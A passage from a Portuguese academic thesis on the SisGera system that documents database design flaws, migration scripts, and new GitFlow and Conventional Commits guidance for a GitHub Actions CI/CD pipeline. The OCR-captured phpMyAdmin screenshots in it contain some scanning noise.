J hospital ¢ [ Visualizar 4 Estrutura % Procurar ¥ Inserir §§ Limpar @ Eliminar 493 InnoDB  Ilatin1_swedish_ci 64.0 KB -
0 menu ¢ | Visualizar }s Estrutura % Procurar &< Inserir & Limpar (@ Eliminar 21 InnoDB  [atin1_swedish_ci 32.8 KB -
(J movimento_estoque ¥¢ [1] Visualizar [J4 Estrutura % Procurar 3¢ Inserir g Limpar @ Eliminar 1@ InnoDB  latin1_swedish_ci 64.0 KB -
] mural ¢ ] Vvisualizar s Estrutura % Procurar 3 Inserir Il Limpar (@ Eliminar 1 InnoDB latin1_swedish_ci 43.9 KB -
O ocorrencia #¢ [0 Visualizar [} Estrutura % Procurar ¢ Inserir g Limpar @ Eliminar 548 InnoDB  latin1_swedish_ci 96.0 KB -
[J patrimonio ¢ ] Visualizar [} Estrutura & Procurar 3¢ Inserir g Limpar (@ Eliminar 3 InnoDB  latin1_swedish_ci 32.8 KB -
(J permissao_menu ¢ [ Vvisualizar [J# Estrutura % Procurar 3¢ Inserir I Limpar @ Eliminar 98 InnoDB  latin1_swedish_ci 48.9 KB -
[J produte ¥r || Visualizar s Estrutura 4 Procurar 3¢ Inserir I Limpar @ Eliminar 15 InnoDB  latin1_swedish_ci 48.9 KB -
(J requisicao_bo ¢ [ Visualizar 4 Estrutura % Procurar 3 Inserir §§ Limpar @ Eliminar 12 InnoDB  latin1_swedish_ci 32.8 KB -
] sinaisvitais ¢ | ]Visualizar s Estrutura % Procurar 3¢ Inserir Il Limpar @ Eliminar 512 InnoDB latin1_swedish_ci 48.9 KB -
O sistprotecao ¥ 1] Visualizar [Js Estrutura % Procurar 3 Inserir I Limpar @ Eliminar 1 InnoDB  latin1_swedish_ci 16.8 KB -
[J tipo_doacao ¢ [ Visualizar e Estrutura % Procurar ¥ Inserir §§ Limpar @ Eliminar 3 InnoDB  latin1_swedish_ci 16.8 KB -
[J ftipo_pessoa ¢ [ Vvisualizar [}# Estrutura % Procurar F< Inserir I Limpar @ Eliminar 3 InnoDB  latin1_swedish_ci 16.8 KB -
[J tipo_sanguineo ¢ ] Visualizar s Estrutura % Procurar 3 Inserir I Limpar @ Eliminar % InnoDB  latin1_swedish_ci 16.9 KB -
[J ftipo_usuario ¢ [ Visualizar [} Estrutura % Procurar 3« Inserir §§ Limpar @ Eliminar 4 InnoDB  latin1_swedish_ci 16.8 KB -
O uf ¥ ] Visualizar s Estrutura & Procurar 3 Inserir [ Limpar @ Eliminar 3@ InnoDB  latin1_swedish_ci 16.@ KB -
(J unidade medida ¥r [ Visualizar [}# Estrutura % Procurar 3¢ Inserir I Limpar @ Eliminar 6 InncDB  latin1_swedish_ci 16.9 KB -
(J urgencias ¢ [ Visualizar s Estrutura % Procurar ¥ Inserir §§ Limpar @ Eliminar 3 InnoDB  uif8mb4_unicode_ci  16.8 KB -
[0 users ¥ [1] Visualizar [J# Estrutura % Procurar ¢ Inserir I Limpar @ Eliminar %@ InnoDB  utf8mb3_general_ci 192.8 KB -
] veiculo ¢ || Visualizar s Estrutura & Procurar < Inserir gl Limpar (@) Eliminar 515 InnoDB  latin1_swedish_ci 64.8 KB -
(J vitima_boincendio P [ Visualizar [ Estrutura % Procurar ¥ Inserir §§ Limpar @ Eliminar 1 InnoDB  latin1_swedish_ci 32.8 KB -
(] vitima_boresgate % ] Visualizar s Estrutura & Procurar 3 Inserir I Limpar @ Eliminar 375 InnoDB  latin1_swedish_ci  192.8 KB -
O vitima_besimplificado iy || Visualizar s Estrutura ‘% Procurar i-:' Inserir %Limpar @ Eliminar 24 InnoDB  latin1_swedish_ci 32.6 KB -

35 tabelas Sema 3.746 MyISAM latin1_swedish_ci 2.8 MB 0 Bytes

Fonte: Elaborado pelo autor.

Ao inspecionar individualmente cada tabela, identificaram-se falhas de design
estrutural e erros de integridade referencial tanto em producdo quanto em homologagao.
Como exemplo de falha estrutural, na tabela “atendimento” as colunas “data_ ocorrencia”
e “transmissao” estao definidas como “VARCHAR”. O uso desse tipo, em vez de “DATE”
e “TIME”, permite a inser¢ao de valores invalidos e é suscetivel a erros. A Figura 20 e a

Figura 21 exibem exemplos de dados inconsistentes com os padroes de data e hora.
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Figura 20 — Inconsisténcia de dados da coluna “data_ ocorrencia”.

] visualizar & Estrutura ] SQL 4 Procurar ¢ Inserir |} Exportar [« Importar J° Operagées 3 Acionadores

T v id data_ocorrencia  transmissao meio_acionamento  chegada_local saida_local chegada hosp lib_viatura  equipe_plantao created at updated_at

O JEditar 3¢ Copiar @ Remover 16 08/09/2021 1020 4.10:20 NULL NULL NULL a 10551737} 2021-09-08 19:49:25.000000 2021-09-08 19:49:25.000000
O /Editar 3 Copiar @ Remover 17 08/09/2021 1020 41020 NULL NULL NULL a1 {051y 2021-09-08 19:51:36.000000 2021-09-08 19:51:36.000000
) 7 Editar 3 Copiar @ Remover 18 08/09/2021 1020 4.10:20 NULL NULL NULL a 10551737} 2021-09-08 19:52:19.000000 2021-09-08 19:52:19.000000
O JEditar 3 Copiar @ Remover 19 24/09/2021 NULL 0 NULL NULL NULL NULL a 1051737} 2021-09-24 16:45:06.000000 2021-09-24 16:45:06.000000
O JEditar 3¢ Copiar @ Remover 20 08/09/2021 1020 4.10:20 NULL NULL NULL a 10551737} 2021-09-24 16:45:12.000000 2021-09-24 16:45:12.000000
O /Editar 3 Copiar @ Remover 21 08/09/2021 1020 41020 NULL NULL NULL a 1051737} 2021-09-24 16:45:15.000000 2021-09-24 16:45:15.000000
O JEditar 3¢ Copiar @ Remover 22 24/09/2021 NULL 0 NULL NULL NULL NULL a 10551737} 2021-09-24 16:45:24.000000 2021-09-24 16:45:24.000000
O /Editar 3 Copiar @ Remover 23 08/09/2021 1020 41020 NULL NULL NULL a1 {051y 2021-09-24 16:46:19.000000 2021-09-24 16:46:19.000000
) 7 Editar 3 Copiar @ Remover 24 08/09/2021 1020 4.10:20 NULL NULL NULL a 10551737} 2021-09-24 16:46:21.000000 2021-09-24 16:46:21.000000
O P Editar 3 Copiar @ Remover 25 08/09/2021 1020 41020 NULL NULL NULL a1 {051y 2021-09-27 15:32:00.000000 2021-09-27 15:32:00.000000
) 7 Editar 3 Copiar @ Remover 26 08/09/2021 1020 4.10:20 NULL NULL NULL a 10551737} 2021-09-27 15:32:18.000000 2021-09-27 15:32:18.000000
O Editar 3 Copiar @ Remover 27 08/09/2021 1020 41020 NULL NULL NULL a 1051737} 2021-09-27 15:32:38.000000 2021-09-27 15:32:38.000000
O JEditar 3¢ Copiar @ Remover 28 08/09/2021 1020 4.10:20 NULL NULL NULL a 10551737} 2021-09-27 15:32:42.000000 2021-09-27 15:32:42.000000
O /Editar 3 Copiar @ Remover 29 08/09/2021 1020 41020 NULL NULL NULL a 1051737} 2021-09-27 15:32:44.000000 2021-09-27 15:32:44.000000
O Editar 3 Copiar @ Remover 30 26/09/2021 1:22 0 NULL NULL NULL NULL a0} 2021-09-27 16:11:29.000000 2021-09-27 16:11:29.000000
O /Editar 3 Copiar @ Remover 31 26/09/2021 122 0 NULL NULL NULL NULL a1 {051y 2021-09-27 16:11:29.000000 2021-09-27 16:11:29.000000
O 7 Editar 3 Copiar @ Remover 32 27/09/2021 20:00 0 NULL NULL NULL NULL a 10551737} 2021-09-27 18:59:55.000000 2021-09-27 18:59:55.000000
O P Editar 3 Copiar @ Remover 33 27/09/2021 12:00 0 NULL NULL NULL NULL a1 {051y 2021-09-27 18:59:55.000000 2021-09-27 18:59:55.000000
0 Editar 3 Copiar @ Remover 34 29/09/2021 0754 1 08:20 08:45 09:10 09:40 a2{0;512" 229" 2021-09-29 12:47:06.000000 2021-09-29 12:47:06.000000
O /Editar 3 Copiar @ Remover 35 29/09/2021 07:54 1 08:20 08:45 09:10 09:40 a2{10;512"152:729") 2021-09-29 12:49:24.000000 2021-09-29 12:49:24.000000
() (/Editar 3 Copiar @ Remover 36 29/09/2021 0754 1 08:20 08:45 09:05 09:40 a0 12} 2021-09-29 13:19:42.000000 2021-09-29 13:19:42.000000
O /Editar 3 Copiar @ Remover 37 29/09/2021 07:54 1 08:20 08:45 09:05 09:40 a {0512y 2021-09-29 13:19:52.000000 2021-09-29 13:19:52.000000
O /Editar 3 Copiar (@ Remover 38 29/09/2021 07:54 1 08:20 08:45 09:05 09:40 a1 {05172y 2021-09-29 13:19:55.000000 2021-09-29 13:19:55.000000
O /Editar 3 Copiar @ Remover 39 29/09/2021 07:54 1 08:20 08:45 09:05 09:40 a 10512 2021-09-29 13:19:57.000000 2021-09-29 13:19:57.000000
0  /Editar 3 Copiar @ Remover 40 29/09/2021 0754 1 08:20 08:45 09:05 09:40 a0 12} 2021-09-29 13:19:58.000000 2021-09-29 13:19:58.000000
O JEditar 3 Copiar @ Remover 41 10/10/2021 19:00 2 10:10 NULL NULL NULL a1:{10;5:2"31") 2021-10-10 19:02:12.000000 2021-10-10 19:02:12.000000
O Editar 3 Copiar @ Remover 42 10/1012021 19:00 2 10:10 NULL NULL NULL at{i0;5:2:"31") 2021-10-10 19:05:27.000000 2021-10-10 19:05:27.000000
O 7Editar 3 Copiar @ Remover 43 141212021 03:40 6 04:30 0510 06:26 07:00 10527217} 2021-10-11 13:13:30.000000 2021-10-11 13:13:30.000000
O /Editar 3¢ Copiar (@ Remover 44 05/10/2021 03:40 6 0420 0510 06:25 07:00 a 305522752121 255:2:25") 2021-10-11 13:21:25.000000 2021-10-11 13:21:25.000000
O /Editar 3 Copiar @ Remover 45 05/10/2021 03:40 6 0420 05:10 06:25 o07:00 a3{10;52M2"52"21%12:5:2:25") 2021-10-11 13:21:45.000000 2021-10-11 13:21:45.000000
0  /Editar 3 Copiar @ Remover 46 05/10/2021 03:40 6 04:20 05:10 06:25 07:00 AB{0;52M2" 52252257 2021-10-11 13:22:30.000000 2021-10-11 13:22:30.000000
O P Editar 3 Copiar @ Remover 47 0210/2021 03:30 6 0420 0520 06:26 o07:00 a2:(10;5:2"21"1:5:2"25") 2021-10-11 13:31:18.000000 2021-10-11 13:31:18.000000

Fonte: Elaborado pelo autor.
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Figura 21 — Inconsisténcia de dados da coluna “transmissao”.

(7] visualizar 4 Estrutura L] saL . Procurar ¥¢ Inserir ) Exportar [« Importar " Operagées i Acionadores

ey v id data ocorrencia transmissao meio_acionamento  chegada_local saida_local chegada_hosp lib_viatura equipe_plantao created_at updated_at

O & Editar S-i Copiar @ Remover 77 22/08/2019 07:00 1 07:05 o7:10 08:30 10:30 a2:{i0;s:1:"2% 15014} 2019-08-22 22:27:40.708376 2019-08-29 22:11:32.907640
0O 7 Editar ii Copiar @ Remover 78 26/08/2019 16:45 1.17:30 18:08 NULL 21:00 a1{i0s1:2") 2019-08-28 13:03:17.171357 2021-07-27 22:12:01.505853
0O & Editar S.i Copiar @ Remover 79 29/08/2019 1:10 111:25 11:30 12:00 13:30 a2:{i0;s:1:"2% 15014} 2019-08-29 21:32:41.756407 2019-08-29 21:33:40.274575
0 o Editar ;E Copiar @ Remover 80 28/08/2019 18:10 1.18:30 19:20 19:36 19:50 a3{i0;s 12" 1S4 12i871"5" ) 2019-08-29 22:40:20.543296 2019-08-29 22:40:20.543296
o ?Editar §¢ Copiar @ Remover 81 29/08/2019 18:10 1 NULL NULL 1846 NULL a3{i0;s:1:"2" 150174 1:2;8:1:"5" ) 2019-08-29 22:50:21.010438 2019-08-29 22:50:21.010438
0 o Editar i-i Copiar @ Remover 82 29/08/2019 18:10 1 NULL NULL 18:46 NULL a3{i0;s 12" 1S4 12i871"5" ) 2019-08-29 22:50:44.345553 2019-08-29 22:50:44.345553
O & Editar S-i Copiar @ Remover 83 29/08/2019 18:10 1 NULL NULL 1846 NULL a3{i0;s:1:"2" 150174 1:2;8:1:"5" ) 2019-08-29 22:51:13.767255 2019-08-29 22:51:13.767255
0O 7 Editar 3¢ Copiar @ Remover 84 29/08/2019 18:10 1 NULL NULL 18:46 NULL a3{i0;s 12" 1S4 12i871"5" ) 2019-08-29 22:54:35.457339 2019-08-29 22:54:35.457339
O & Editar S-i Copiar @ Remover 85 28/08/2019 18:10 1 NULL NULL 1842 NULL a3{i0;s:1:"2" 150174 1:2;8:1:"5" ) 2019-08-29 23:03:06.978205 2019-08-29 23:03:06.978205
O o Editar ;E Copiar @ Remover 86 05/09/2019 06:30 1 06:40 07:20 07:50 09:30 a2:{i0;s:1:"2% iS04} 2019-09-10 23:08:21.479710 2019-09-10 23:08:21.479710
O g/Editar 3 Copiar @ Remover 87 30/08/2019 10:30 1 11:00 11:05 NULL 14:00 a2:{i0;s:1:"2% 15014} 2019-09-10 23:24:25.653008 2019-09-10 23:24:25 653008
0 o Editar ;E Copiar @ Remover 88 20/09/2019 10:45 1.11:20 11:40 12:10 12:20 a2:{i0;s:1:"2% iS04} 2019-09-21 13:01:45.012165 2019-09-21 13:01:45.012165
[m] ?Editar §¢ Copiar @ Remover 89 21/09/2019 10:45 1.11:20 11:40 12:10 12:20 a2:{i0;s:1:"2% 15014} 2019-09-21 13:02:45.713546 2019-09-21 13:02:45.713546
0O 7 Editar 3¢ Copiar @ Remover 90 20/09/2019 10:20 1.11:20 11:40 12:00 12:10 a2:{i0;s:1:"2% iS04} 2019-09-21 13:28:42.348517 2019-09-21 13:28:42.348517
O & Editar S-i Copiar @ Remover 91 21/09/2019 10:20 1.11:20 11:40 12:00 12:10 a2:{i0;s:1:"2% 15014} 2019-09-21 13:32:14.472108 2019-09-21 13:32:14.472108
0O 7 Editar 3¢ Copiar @ Remover 92 21/09/2019 10:20 1.11:20 11:40 12:00 12:10 a1{i0s1:2") 2019-09-21 13:34:46.502524 2019-09-21 13:34:46.502524
0O & Editar S.i Copiar @ Remover 93 21/09/2019 09:50 1 10:00 10:05 NULL 13:00 a2:{i0;s:1:"2% 15014} 2019-09-21 13:50:23.523986 2019-09-21 13:50:23.523986
O o Editar ;E Copiar @ Remover 94 21/09/2019 09:50 1 10:00 10:05 NULL 13:00 a2:{i0;s:1:"2% iS04} 2019-09-21 13:51:10.092993 2019-09-21 13:51:10.092993
0O & Editar ié Copiar @ Remover 95 29/09/2019 20:40 1 2045 20:50 21115 22:30 a2:{i0;s:1:"2% 15014} 2019-10-19 17:29:53.802141 2019-10-19 17:29:53.802141
0 o Editar ;E Copiar @ Remover 96 27/10/2019 18:00 4 1840 21:30 NULL 22:00 a3{i0;s 12150174 12:5:2:"10") 2019-10-28 01:32:21.912775 2019-10-28 01:34:02.013778
O P Editar 3¢ Copiar @ Remover 97 05/11/2019 10:30 1 10:40 20:50 11:30 13:00 a {0112 54 2019-11-05 14:10:29.043529 2019-11-05 14:10:29.043529
O 7 Editar 3¢ Copiar @ Remover 98 19/11/2019 NULL 0 NULL NULL NULL NULL a1:{i0;s:2:"14"} 2019-11-19 03:44:52.384541 2019-11-19 03:44:52.384541
O S Editar 3¢ Copiar @ Remover 99 29/05/2020 17:04 117:10 17:35 NULL 18:00 A0S 1982202527217 2020-05-30 01:18:39.434818 2020-05-30 01:18:39.434818
a ? Editar ;E Copiar @ Remover 100 29/05/2020 17:04 11710 1735 NULL 18:00 a3{i0;s:1:"9"i1:5:2:"20"1:2:5:2:"21"} 2020-05-30 01:28:34.238352 2020-05-30 01:28:34.238352
O 7 Editar 3¢ Copiar @ Remover 102 29/05/2020 NULL 114350 15:00 16:29 16:40 F2{0S 1724152720 2020-05-30 01:50:03.315061 2020-05-30 01:50:03.315061
0 o Editar ;E Copiar @ Remover 103 11/05/2020 00:09 1 00:19 00:37 00:55 01:00 a3{i0;s:1:"2%i1:5:2:"10" 1252721} 2020-06-02 18:50:26.557667 2020-06-02 18:50:26.557667
O Editar §é Copiar @ Remover 104 03/06/2020 09:55 1 10:00 NULL 11:03 11:10 aZ{i0S 12452 21" 2020-06-04 21:53:35.948194 2020-06-04 21:53:35.948194
O 7 Editar 3¢ Copiar @ Remover 105 13/06/2020 21:00 1.21:05 21:15 21:20 21:38 a3{i0;s:1:"2%i1:5:2:"20" 1252721} 2020-06-14 00:47:47.454192 2020-06-14 00:47:47 454192
O & Editar F: Copiar @ Remover 106 09/07/2020 15:13 1 1540 16:55 NULL 17:20 a2{H0S 12520 2020-07-09 22:04:45.939235 2020-07-09 22:04:45.939235
0O 7 Editar 3¢ Copiar @ Remover 107 18/07/2020 1:14 1.11:50 12:00 12:40 13:00 a3{i0;s:1:"2"i:1:5:2:"10"1:2:5:2:"20" ) 2020-07-19 23:48:40.077972 2020-07-19 23:48:40.077972
o & Editar S-i Copiar (@ Remover 108 19/07/2020 1 1 NULL NULL NULL NULL a1{io;s1:2") 2020-07-19 23:51:19.165660 2020-07-19 23:51:19.165660
a ? Editar ;E Copiar @ Remover 109 19/07/2020 K 11415 1445 15:00 15:45 a3{i0;s:1:"2"i:1:5:2:"10"1:2:5:2:"20" ) 2020-07-20 00:01:18.038321 2020-07-20 00:01:18.038321
0O ¢ Editar i(’ Copiar @ Remover 110 26/07/2020 22:00 1 22:05 22:30 22:34 23:00 a3{i0;5:1:"9"i:1;5:2:"10"1:2;5:2:"21"} 2020-07-27 23:09:01.423285 2020-07-27 23:09:01.423285
0 o Editar ;E Copiar @ Remover 111 28/08/2020 NULL 1 20:00 20:15 20:51 21:00 a5{i0;s:1:"2%i1:5:2:"10"12:5:2:"12"1:3;5:2... 2020-08-29 23:09:26.461333 2020-08-29 23:09:26.461333
O & Editar S-i Copiar @ Remover 112 29/08/2020 15:44 1 1550 16:00 16:55 18:00 a2:{i0;5:1:"2"i:1;5:2:"21"} 2020-08-29 23:15:37.539030 2020-08-29 23:15:37.539030
0O 7 Editar 3¢ Copiar @ Remover 113 28/08/2020 NULL 1 20:00 20:15 20:51 21:00 a5{i0;s:1:"2"i1:5:2:"10"12:5:2:"12"1:3;5:2... 2020-08-29 23:25:09.872545 2020-08-29 23:59:38.238971
O & Editar S-i Copiar @ Remover 114 28/08/2020 NULL 1 20:00 21:50 21:50 22:00 a5:{i0;s:1:"2":1;5:2:"10"1:2;5:2:"12":3;5:2... 2020-08-29 23:59:04.735631 2020-08-29 23:59:04.735631
O o Editar ;E Copiar @ Remover 115 29/08/2020 NULL 1 13:00 13:30 14:18 15:00 a5{i0;s:1:"2"i1:5:2:"10" 12812117103 2020-08-30 00:01:25.226248 2020-08-30 00:01:25.226248
[m]

7 Editar 3¢ Copiar @ Remover 116 29/08/2020 NULL 1.13:00 13:30 14:18 15:00 A5(0;5:1:"2" 152" 0%1:2;5:2:"11":3;5:2... 2020-08-30 00:07:13.367476 2020-08-30 00:07:13.367476

Fonte: Elaborado pelo autor.

Como erros de integridade, constatou-se que as tabelas “vitima_ bosimplificado”,
“vitima_ boincendio”, “vitima_ boresgate” e “chamados” possuem colunas com identi-
ficadores que implicam relagao, mas sem a criacao da restricdo de chave estrangeira
(Foreign Key) que a garante. As tabelas de “vitimas” possuem a coluna “estado_ civil id”
e “chamados” possui a coluna “user id”. A Figura 22 e Figura 23 exibem a estrutura

dessas tabelas e as restrigoes existentes.
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Figura 22 — Erro de restricao de integridade na tabela “vitima_ bosimplificado”.

Banco de dado:

7 Semvidor: localhost: gera_db_fest » [&

| ] Visualizar W Estrutura L] saL 4 Procurar = #¢ Inserir |3 Exportar | [} Importar J° Operagd 2 Aci es

¥ Estrutura da tabela &2 visdo de relagao(bes)

# Nome Tipo Colagdo Atributos Nulo Padric Comentirios Extra Agio
O 14 > int Nédo Nenhum AUTO_INCREMENT 7 Alterar (@ Eliminar Mais
(] 2 nome varchar(100) latin1_swedish_ci Sim  NULL & Alterar @ Eliminar Mais
J 3 data_nasc varchar(10) latin1_swedish_ci Sim  NULL &7 Alterar @ Eliminar mMais
] 4 sexo int Sim  NULL &~ Alterar (@ Eliminar Mais
[ 5 epf varchar(14) latin1_swedish_ci Sim  NULL &7 Alterar @ Eliminar Mais
[ 5 identidade varchar(13) latin1_swedish_ci Sim  NULL o~ Alterar @ Eliminar Mais
[ 7 telefone varchar(100) latin1_swedish_ci Sim  NULL &7 Alterar @ Eliminar Mais
] 8 pai varchar(100) latin1_swedish_ci Sim  NULL &/ Alterar (@ Eliminar Mais
0 9 mae varchar(100) latin1_swedish_ci Sim  NULL &7 Alterar @ Eliminar Mais
(] 10 estado_civil_id tinyint Sim  NULL &’ Alterar @ Eliminar Mais
[ 11 profissac varchar(0) latin1_swedish_ci Sim  NULL &7 Alterar @ Eliminar Mais
[ 12 created_at timestamp(6) Sim  NULL &~ Alterar @ Eliminar Mais
(] 13 updated at timestamp(6) Sim  MULL &7 Alterar @ Eliminar Mais
[ 14 endereco varchar(120) latin1_swedish_ci Sim  NULL ijAllerar e Eliminar Mais
] 15 numero varchar(20) latin1_swedish_ci Sim  NULL &7 Alterar @ Eliminar Mais
(] 15 bairro varchar(90) latin1_swedish_ci Sim  NULL & Alterar (@ Eliminar Mais
[ 17 cidade varchar(30) latin1_swedish_ci Sim  NULL &7 Alterar @ Eliminar Mais
0 18 uf_id > finyint Ndo Nenhum &~ Alterar @ Eliminar Mais
[ 19 cep varchar(10) latin1_swedish_ci Sim  NULL &7 Alterar @ Eliminar Mais
[ 20 cartaosus varchar(20) latin1_swedish_ci Sim  NULL &~ Alterar @ Eliminar Mais
(] 21 complemento varchar(%0) latin1_swedish_ci Sim  NULL &7 Alterar @ Eliminar Mais

t O Marcar todos Com marcades: || Visualizar &’ Alterar @ Eliminar &2 Primaria |4 Unico =] indice [ Espacial | 7] Texto completo

&) imprimir [ Mover campo(s) 4 Normalizar

¢ Adicionar |1 | campo(s) | apdscomplemento v | Executar |
| indices @ |
J
Agao Nome da chave Tipo Unico Pacote Coluna Cardinalidade Colagio Nulo Comentario
. Editar £p Renomear (@ Eliminar PRIMARY BTREE Sim  Néo id 30 A Nio
. Editar gp Renomear () Eliminar fk_vitima_bosimplificado_uf1_idx BTREE Ndo Nio uf_id 3 A NZo
Criar um indice em |1 ‘ colunas Executar |

Fonte: Elaborado pelo autor.



Capitulo 8. Desenvolvimento 52

Figura 23 — Erro de restricao de integridade na tabela “chamados™

M8 7] Servidor localhost:3306 » @ Banco de dados: sisgera_db_test » [ Tabela: chamados

7] visualizar W Estrutura L] saL . Procurar ¥ Inserir =} Exportar [« Importar = J#° Operagbes 3= Acionadores
¥ Estrutura da tabela €2 vVisio de relagdo(Ges)
# Nome Tipo Colagio Atributos Nulo Padric Comentarios Extra Acao

O 1 > int unsieneD  Ndo  Nenhum AUTO_INCREMENT 7 Alterar @ Eliminar Mais
[ 2 users_id int unsiNED  Ndo  Nenhum o~ Alterar @ Eliminar Mais
[ 3 categoria_id int Ndo Nenhum &~ Alterar @ Eliminar Mais
[] 4 modulo_id > int Ndo Nenhum & Alterar @ Eliminar Mais
[J 5 assunto varchar(191) utfémb4_unicode_ci Nao  Nenhum &7 Alterar @ Eliminar Mais
[] 6 urgencia_id =~ int unsiGNED  Nd@o  Nenhum o Alterar (@ Eliminar Mais
[J 7 descricao text utfdmb4_unicode_ci Nao  Nenhum &7 Alterar @ Eliminar Mais
[ 8 img varchar(45) utfémb4_unicode ci Sim  NULL &~ Alterar @ Eliminar Mais
[ 9 created_at timestamp Sim  NULL &7 Alterar @ Eliminar Mais
[] 10 updated_at timestamp Sim  NULL & Alterar (@ Eliminar Mais
(J 11 deleted at timestamp Sim  NULL &~ Alterar @ Eliminar Mais
1+ O Marcar todos Com marcados: | 1] Visualizar o7 Alterar @ Eliminar > Primaria U Unico =] Indice % Espacial 7] Texto completo

S Imprimir [l Mover campo(s, Normalizar
= J rs

3¢ Adicionar |1 campo(s) | aposdeleted_at v Executar
indices @
Agao Nome da chave Tipo Unico Pacote Coluna Gardir Colagdo Nule C tario
o~ Editar =b Renomear @ Eliminar PRIMARY BTREE Sim  Néo id 3 A N&o
. Editar €f Renomear (g Eliminar chamados_categoria_id foreign BTREE Nio Néo categoria_id 1 A N&o
o Editar b Renomear @ Eliminar chamados_modulo_id foreign BTREE Nio Nido modulo_id 3 A N&o
. Editar €f Renomear (g Eliminar chamados_urgencia_id_foreign BTREE Nio Néo urgencia_id 2 A N&o

Fonte: Elaborado pelo autor.

Apés revisar a estrutura de ambos os ambientes (homologacao e produgao), foram
desenvolvidos scripts de migracao para cada tabela. Isso exigiu separar as tabelas em dois
grupos: as sem dependéncias externas e as com dependéncias. Iniciou-se pelas tabelas
independentes e, em seguida, migraram-se as demais. As migragoes foram executadas
e validadas localmente, com o devido povoamento do banco. Importa destacar que as
migracoes desenvolvidas reproduzem fielmente a estrutura atual, inclusive as falhas
estruturais e os erros de integridade referidos. Corregoes nao foram aplicadas neste

momento, pois devem partir da representacao vigente do banco de dados.

3.6 Guia de uso do pipeline CI/CD e de boas praticas ao projeto

Para garantir o uso eficaz do pipeline CI/CD implementado no projeto SisGera, foi
realizada uma reestruturacao da documentagao do sistema. A versao anterior apresentava

limitacgoes tanto em conteido quanto em organizacao, dificultando a integragdo de novos
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colaboradores. A Figura 24 mostra como era a antiga documentagao como toda. A
nova documentacao foi projetada para centralizar as informagoes, proporcionando uma
visdo clara do funcionamento do projeto, de seus processos internos e do histérico de

desenvolvimento.

Figura 24 — Antiga documentacao do SisGera.

[ README

Instrucdes para Instalacao e Execucao

Pré-requisitos:

¢ Ambiente linux:
® |nstalar o Docker:

* Configure o git:
Configuracao do Projeto:
Em um terminal, execute:

git clone git@github.com:ProjetoSisgera/sisgera-homologacao.git

cd sisgera-homologacao

docker-compose up -d

docker-compose exec -T db mysql -proot "sisgera_db_test" < "sisgera_db_test.sql"

Fonte: Elaborado pelo autor.

Sua orientagao parte do modelo de gerenciamento de branches GitFlow. A escolha
por este modelo se justifica pela natureza do SisGera, sendo um projeto colaborativo
académico que evolui por meio de contribui¢oes bem definidas em certos intervalos de
tempo. A existéncia de dois ambientes operacionais distintos, pode levar a separagao da
branch “develop” para direcionar novas implementacoes a serem homologadas rapidamente
ao passarem pelo processo de CI. O novo codigo integrado entraria em processo de CD
para o dominio de homologagao. A Figura 25 retrata como o GitFlow é composto,

seguindo suas estruturas de branches e também com exemplo visual.
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Figura 25 — Introducao do GitFlow na documentagdo do SisGera.

Branches

A\ Por favor, siga este fluxo para garantir um desenvolvimento organizado e sem conflitos. f§

Este repositério seque o modelo GitFlow para gerenciar o desenvolvimento de funcionalidades, releases e correcdes.
Aqui estdo as branches que usamos e como elas funcionam:

e main : Branch principal com o cédigo em produgéo. Deve estar sempre pronta para lancamento. S6 recebe
merges de release/* e hotfix/* ; alteracdes na main disparam o pipeline de deploy para producéo.
develop : E onde o desenvolvimento acontece. Todo codigo deve ser integrado aqui antes de ser liberado para
producéo, a Integracdo Continua (CI) é executada nesta branch em conjunto com a Implantacio Continua
(cp) para homologacéo.
feature/ : Quando vocé for comecar a trabalhar em uma nova funcionalidade, crie uma branch a partir de
develop , COM O NOMe feature/nome-da-feature . Apds concluir o desenvolvimento, faca o merge de volta para

develop .

release/ : Criada a partir de develop quando o escopo da versdo é congelado. Entra apenas correcio, testes e
ajustes de release. Ao concluir, faca merge em main com tag (ex.: vX.Y.Z) e em develop para levar as correcoes.
hotfix/ : Para corrigir algo urgente em producéo. Crie a partir de main (hotfix/nome-ou-versao), depois faca
merge em main com tag de patch (ex: vX.Y.Z+1) e em develop (ou na release/* ativa) para ndo perder a

correcao.

Para melhor entendimento, veja o exemplo visual abaixo

feat/f1

release/v2.3.0

hotfix/v2.3.1

Fonte: Elaborado pelo autor.

Para além do gerenciamento de branches, a documentagao institui a adog¢ao do
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padrao Conventional Commits como uma boa pratica essencial. Essa convencao estabelece
um formato estruturado para as mensagens de commit, composto por tipo, escopo e uma
descricao concisa. A recomendacao dessa pratica visa criar um histérico de contribuicoes
mais claro e organizado. A padronizac¢ao nao apenas facilita a compreensao da evolugao
do codigo por parte da equipe, mas também habilita a automagao de tarefas importantes,
como a geracao de registros de alteragoes (changelogs). A Figura 26 mostra como é

utilizado essa convencao e traz as defini¢bes de sua estrutura.

Figura 26 — Conventional Commits sendo abordado na documentacao do SisGera.

Estrutura basica de um conventional commit

<tipo>(<escopo>): <mensagem>

tipo: Descreve o tipo de alteracdo realizada. Os tipos mais comuns incluem:

feat : Adicdo de uma nova funcionalidade.

fix : Correcao de um bug.

docs : Mudancas na documentagao.

style : Mudangas que nao afetam a légica do codigo, como formatagao.

refactor : Alteragdes no cédigo que nao adicionam funcionalidades nem corrigem bugs, mas melhoram a estrutura do cédigo.
test : Mudangas nos testes.

chore : Tarefas gerais de manutengdo, como mudangas no ambiente de desenvolvimento.

Escopo : (opcional) Descreve a parte do cadigo que foi alterada. Pode ser um médulo, um componente ou uma area do sistema. Exemplo: API,
Ul, Auth, etc.

Mensagem : Descrigdo concisa sobre o que foi feito. Deve ser objetiva.

Fonte: Elaborado pelo autor.

Com o intuito de acelerar a integracao de novos membros a equipe, o guia também
inclui instrugdes completas para a preparacao do ambiente de desenvolvimento local. Sao
abordadas desde a configuragao inicial do Git e a clonagem do repositério até a instalacao
das ferramentas utilizadas no projeto. Para garantir flexibilidade, sdo apresentados dois
métodos de execucao do sistema: o servidor nativo do Laravel, chamado “Artisan”, e
um ambiente em container utilizando Docker. Essas alternativas visam assegurar que
qualquer desenvolvedor consiga reproduzir o ambiente de maneira consistente e com

menor barreira técnica.
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4 Resultados

Apos a andlise e selecao das ferramentas apresentadas no Capitulo 2, que culminou
na escolha do GitHub Actions como a solu¢ao mais adequada para o SisGera, este capitulo
se dedica a apresentar os resultados praticos obtidos. As observacoes a seguir referem-se
aos fluxos documentados e as evidéncias coletadas ao contexto dos objetivos especificos

delineados para este trabalho.

4.1 O pipeline ClI/CD em operacio

No escopo observado ao SisGera, os fluxos executados indicam automacao de
tarefas repetitivas, maior padronizacao do processo de entrega, melhoria na rastreabilidade
e da comunicagao entre os colaboradores envolvidos no projeto. Tais efeitos foram inferidos

a partir da sequéncia das etapas (CI e CD) e dos registros do pipeline.

